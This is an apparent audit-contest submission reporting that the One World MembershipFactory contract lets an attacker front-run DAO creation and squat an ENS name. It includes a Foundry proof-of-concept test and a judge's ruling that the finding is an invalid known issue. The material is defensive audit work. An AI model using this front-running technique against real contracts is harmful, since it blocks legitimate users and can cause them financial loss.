Project

One World
NFTDeFi
15,000 USDC
View results
Submission Details
Severity: medium
Invalid

ENS name can be taken and blocked by a malicious user

Summary

Attackers can front-run the creation of a new DAO by registering a DAO with the same ensname before the legitimate user, effectively squatting on the ENS name and preventing the intended DAO from being created.

Vulnerability Details

In the MembershipFactory contract, the createNewDAOMembership function uses the ensname as a unique identifier for DAOs:

require(getENSAddress[daoConfig.ensname] == address(0), "DAO already exist.");

This check ensures that no DAO with the same ensname has been created. However, since the ensname is not tied to actual ENS ownership, an attacker can front-run the transaction of a legitimate user by creating a DAO with the same ensname just before the user's transaction is mined.

This causes the user's transaction to revert with the "DAO already exist." error, forcing them to choose a different name, and potentially causing confusion or damage if the attacker uses the name maliciously.

POC

function testAttackerCanFrontRunDaoCreationToBlockENSName() public {
TierConfig[] memory tierConfig = new TierConfig[]();
tierConfig[0] = TierConfig({price: 6400, amount: 640, minted: 0, power: 64});
tierConfig[1] = TierConfig({price: 3200, amount: 320, minted: 0, power: 32});
tierConfig[2] = TierConfig({price: 1600, amount: 160, minted: 0, power: 16});
tierConfig[3] = TierConfig({price: 800, amount: 80, minted: 0, power: 8});
tierConfig[4] = TierConfig({price: 400, amount: 40, minted: 0, power: 4});
tierConfig[5] = TierConfig({price: 200, amount: 20, minted: 0, power: 2});
tierConfig[6] = TierConfig({price: 100, amount: 10, minted: 0, power: 1});
MockUsdc mockUsdc = new MockUsdc();
DAOInputConfig memory daoConfig = DAOInputConfig({
ensname: "testdao.eth",
daoType: DAOType.SPONSORED,
currency: address(mockUsdc),
maxMembers: 1270,
noOfTiers: 7
});
currencyManager.addCurrency(address(mockUsdc));
// Alice decides to set a new DAO named testdao.eth, However, it gets front Run and an attacker sets the ENS name first
TierConfig[] memory tierConfigMinimal = new TierConfig[]();
DAOInputConfig memory daoConfigMinimal = DAOInputConfig({
ensname: "testdao.eth",
daoType: DAOType.PUBLIC,
currency: address(mockUsdc),
maxMembers: 0,
noOfTiers: 7
});
uint256 gas = gasleft();
vm.prank(attacker);
address daoAttacker = membershipFactory.createNewDAOMembership(daoConfigMinimal, tierConfigMinimal);
uint256 gasSpent = gas - gasleft();
console.log(gasSpent); // 1066871 using polygon gas price calculator https://www.cryptoneur.xyz/en/gas-fees-calculator?usedGas=1066871&txnType=Custom this costs around 0.0221 USD. From the attacker perspective this is worth to block a famous protocols' ENS name.
assertEq(membershipFactory.getENSAddress("testdao.eth"), address(daoAttacker));
// Now Alice tries to create the Dao with the same but it gets reverted because the name already exist and she must change it. However, if the ENS name is important as it represents the protocols name and that a particular setup is already done on the web2 side for making the necessary updateDAOMembership for this particular ENS name. It can create financial loss for the user.
vm.expectRevert("DAO already exist.");
vm.prank(alice);
address daoAlice = membershipFactory.createNewDAOMembership(daoConfig, tierConfig);
}

Impact

Legitimate users are prevented from creating DAOs with their desired ensname, leading to potential brand dilution. This is especially critical if the ensname corresponds to an established brand or community.

Tools Used

Foundry

Recommendations

Consider allowing duplicate ens names. However, don't use the names as a mapping index for checking the proxy address

Updates

Lead Judging Commences

0xbrivan2 Lead Judge 10 months ago
Submission Judgement Published
Invalidated
Reason: Known issue
0xbrivan2 Lead Judge 10 months ago
Submission Judgement Published
Invalidated
Reason: Known issue

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.